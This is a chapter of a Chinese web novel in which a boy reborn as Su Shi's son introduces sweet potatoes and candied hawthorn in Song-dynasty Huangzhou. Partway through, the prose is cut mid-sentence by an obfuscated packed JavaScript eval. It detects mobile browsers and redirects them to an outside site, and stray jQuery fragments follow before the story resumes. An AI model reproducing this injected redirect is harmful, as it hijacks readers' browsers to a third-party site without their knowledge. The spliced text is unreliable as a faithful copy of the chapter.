23. 冰糖葫芦

作品:《在北宋给苏轼当儿子

    不得不说,奶茶加火锅的吸引力还是很大的。新店开后不久,苏过积攒的满意值就足够解锁下一级了。


    点了升级后,苏过查看系统,这一次系统还算大方,解锁了好几样零食还有红薯。


    虽然泡泡糖,口香糖什么的零食没啥大用。但同时解锁的还有一个白糖方子。


    北宋制糖产业已经有所发展,冰糖黄糖一类都有,算是当下的奢侈品。但精制的白糖还没有出现,可以预见如果能做出白糖会有多么受追捧。


    不过目前的重点是红薯。


    老实说刚看到红薯时苏过还有点失望来着。


    毕竟几大经典作物中,玉米可以做爆米花,土豆可以炸薯条,更是有各种好吃的菜色做法。


    而红薯发挥空间就有限了。


    苏过甚至有点懒得编造一个大费周章的来历。


    刚好出来秋游,捡栗子时见到满地各种植物,突发奇想就扔了一些在林子里,然后带着簞哥儿他们当做普通野生作物捡了回来。


    不过当烤红薯的香气爆发出来时,苏过还是十分惊喜。


    不愧是系统出品,品质真好,估计是烟薯品种,烤后十分香甜,甚至带着薯油,所以前面苏过才忍不住直接就吃了起来。


    被苏轼和王氏一起声讨后,连忙装乖,让辩才法师检查身体。


    自然身体是查不出什么异样的。


    “捡到的时候有看到小动物啃过来着,肯定是没毒的,不然我哪敢直接吃呀。”苏过解释道。


    听到这里大家才放下心来。又见红薯实在很香,胆子大一点的苏轼和徐知州等人便也分吃起来。


    簞哥儿小朋友什么的肯定是不敢给他们吃的。


    不得不说,甜食永远是很受欢迎的。


    吃到红薯的美味后,老苏与徐知州忙问这是哪里发现的,想去看看。


    苏过就等他们问呢。


    带着他们去埋红薯的地方。


    系统十分贴心,兑换红薯时可以选择带植株或者不带。


    苏过直接兑换了几株完整的植株埋在林子里,假作部分果实被挖上来的样子。


    果然,其他人并没有起疑,只当是野生植物。毕竟这年头未被发现和认识的植物还是很多的,大多数时候发现的人并不敢尝试,也就忽视过去了。


    将附近发现的几株红薯都挖上来。苏轼倒很快发现了重点,“这种植物小小一株便结出如此多的果实,若能用来种植,岂不是产量可观。”


    那当然可观,后世饥荒年间,基本都是靠红薯才养活那么多人的。虽然老一辈国人基本都吃到腻,但对于还没吃过的人来说,红薯依然是十分的美味。


    徐知州听了也十分感兴趣,“不知这种植物如何种植,习性如何,若便于种植,那就是神物一件了。”


    就产量和种植难度而言,的确是神物一件,苏过发现自己有点想当然了。竟然还嫌弃红薯,对这个时代而言,红薯可是宝贝。


    好在老苏和徐知州很是识货。


    接下来苏过就不管了,毕竟红薯对种植要求并不高,而且这种根茎类作物,经验丰富的农人一般看一下就知道怎么种植,要么切块发芽,要么插杆种植,说不定比他这个门外汉还要擅长。


    到时候种失败了也不打紧,大不了他再找几个地方让长出来一些就好。


    只是可惜决定要尝试种植后,所有的红薯就都被没收留种了,不然还可以做个拔丝地瓜什么的。


    收获新作物的徐知州和苏轼倒十分开心。深觉这次登高十分有收获,两人诗词相和,十分融洽。


    见徐知州中气十足的样子,苏过总觉得忘了什么事。可明明红薯的出处已经解决,还有什么事呢?


    直到看见辩才法师沿路一边赏景一边教二哥识别草药,苏过才想起来,今天本来想让辩才法师帮忙看下徐知州身体来着。


    记忆里徐知州这个任期结束,刚到下个地方就去世了,幼子还是托付给弟弟照料的。说不定是有什么隐疾呢,最好早发现早治疗。


    上次在府衙见老苏和徐知州喝酒下棋时苏过就想起来这件事,只是一直没找到机会。


    总不能说,知州大人,我观你印堂发黑,恐有一病吧。


    刚好辩才法师也在,能看出来那就再好不过啦。


    于是快到山脚时,苏过假称让辩才法师给他们再检查下身体,毕竟他们都刚吃过地瓜。


    没错,刚刚这种植物被老苏命名为地瓜,因为是长在土地里面的。


    苏过听到这个名字简直举双手赞成,果然从古至今命名都是相通的。


    苏轼听到说检查下身体也觉得很有道理,主动让辩才法师给他看看。


    辩才法师一一把脉,苏家父子都没什么问题,只是老苏被提醒又有些内火旺盛,需戒一戒辛辣,不然痔疾又要犯了。


    果然看医生还是不应该太积极,老苏假装没听到。


    待到徐知州时,辩才法师把脉后又细细观察,沉吟许久,弄得众人都紧张起来。


    新发现的地瓜别是有什么问题吧。


    辩才法师摇摇头,“与地瓜无关,知州大人脉相艰涩不畅,如轻刀刮竹,恐气血淤滞,影响寿元。”


    徐知州本来只当普通看诊,却没想到得出如此结论。


    “大人是否时常有心绞痛之症?”辩才问道。


    在一旁的徐得之连忙回道,“确有此症,兄长一直以为是劳累所致。”


    辩才法师点点头,“案牍劳累的确容易心悸,但大人更多还是气血原因,若不疏淤补液,症状会越发严重。”


    辩才法师的医术还是十分出名的。


    听到他下此诊断,徐知州与其弟弟都严肃起来,若果真如此,倒要好生治疗一番。


    此时在山上不便开方诊治。


    于是众人约好明日来苏家拜访再行问诊。


    治病救人本就是佛家慈悲,辩才法师自然乐意至极,点头应下。


    快到山脚时,徐家二郎岚哥儿突然发现几棵树上结满红彤彤的果子,“快看,红果。”


    苏过走近一看,原来是山楂。


    山楂即使成熟后也普遍偏酸,时人并不爱吃,多拿来入药。


    岚哥儿捡了一颗尝尝后也立马扔掉。


    苏过却看着红彤彤的山楂冒出一个想法,冰糖葫芦,这不就来了么。


    忙招呼苏大哥等人帮忙多摘一点红果,务必要个大饱满没有虫蛀的。


    对苏过要这么多酸酸的果子表示疑惑。


    但苏过夸口说能做出特别好吃的东西,出于对他厨艺的无比信任,大家都来帮忙采摘,最后选出一大口袋。


    约上徐家几个小朋友明天一起来苏家吃好吃的。两家人在山底道别,各自归家。


    第二天徐知州果然如约前来找辩才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466158|184447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    法师看诊。


    徐家三个小郎也跟着过来,准备尝尝苏小郎说的好吃的。


    苏过正在厨房熬制糖浆。


    本来是准备用新获得的白糖方子制作一些白糖来做冰糖葫芦的。


    结果昨晚苏过仔细一研究,根本没那么简单,要做白糖得从熬糖浆开始。


    在没有现代机械的帮助下,古时做白糖要用“黄泥水淋脱色法”。


    将甘蔗熬出的红糖用陶器漏斗,加入黄泥水吸附杂质,多次操作后才能得到洁白的糖霜,即白糖。


    别的不说,那个叫瓦溜的陶器漏斗都要定制。


    苏过只能暂时搁置,先用现有的冰糖来做冰糖葫芦。


    其实本来冰糖就要比白糖更适合,做出来的糖皮晶莹剔透,口感酥脆。


    所有的小孩包括苏二哥都围在厨房看苏过做糖葫芦。


    红艳艳的果子裹上糖浆,闻着锅里糖稀发出的甜香味,几个人更不愿意离开。


    直到苏过等糖皮变硬,给围在厨房里的人一人发了一串糖葫芦,大家才勉强散开。


    山楂被一个个串在竹签上,吃起来十分方便,一口咬下去,先尝到的是脆脆甜甜的糖衣,然后是酸甜的山楂,糖的甜味中和了酸味,搭配在一起反而酸酸甜甜十分好吃。


    小孩子对甜食完全没有抵抗力,除了箪哥儿和文哥儿只给了两颗尝鲜外,别的几人都是一口接一口。


    苏过端着冰糖葫芦去找老苏他们。


    徐知州已经看诊完毕,辩才法师在写药方。


    众人看到苏过端着新吃食过来都很期待。


    冰糖葫芦成功俘获老中青三代人的好评。


    王氏准备将其加入沸春居甜品菜单。


    苏过无可无不可,毕竟冰糖葫芦做法还是挺简单的,相信上不了多久,就会有人仿制了。


    不过苏过也并不在意,毕竟,让更多人吃到比赚钱要有意义的多。


    而且,在印象里,糖葫芦还是要小贩们拿着稻草扎满糖葫芦沿街售卖才合适呀。


    看完病的徐知州又拉着苏轼聊了许久各种农业新政,之前苏轼交上来的许多建议都要安排人落实下去。


    而远在南京的王安石也收到了苏轼新寄去的信件。


    自罢相后,王安石一直住在南京“半山园”中,每日骑着小毛驴,要么去定林寺读书小睡,要么去山里转悠,经常太阳快落山才回家。


    这日一到家就有仆从递来今日新收到的信件,是苏轼小友的。


    信中提到他的开荒等建议都有开始实施,而且他们新制出来更好的肥料,想必明年收成会很不错。


    苏轼作为旧党,在乌台诗案时,王安石就有专门上书陈情,直谏神宗,“安有圣世而杀才士者乎!”,为苏轼的开释贡献了不小的力量。


    而今与苏轼交往愈深,发现苏轼不仅文学上才能出众,经济民生方面更是很有见地。两人聊的十分融洽。


    不知距离明年春耕还有许久,黄州那边能否有更多进展。


    身在黄州的苏轼表示,有进展,进展实在是太多了。


    本来呈上条例后苏轼是想把各种任务都分出去的。


    却没想到徐知州担心其他人执行不力,让苏轼总揽全局,于是任务并没有少多少。


    而昨日出去散心秋游,结果又新增一项地瓜种植任务。


    做不完,真的做不完。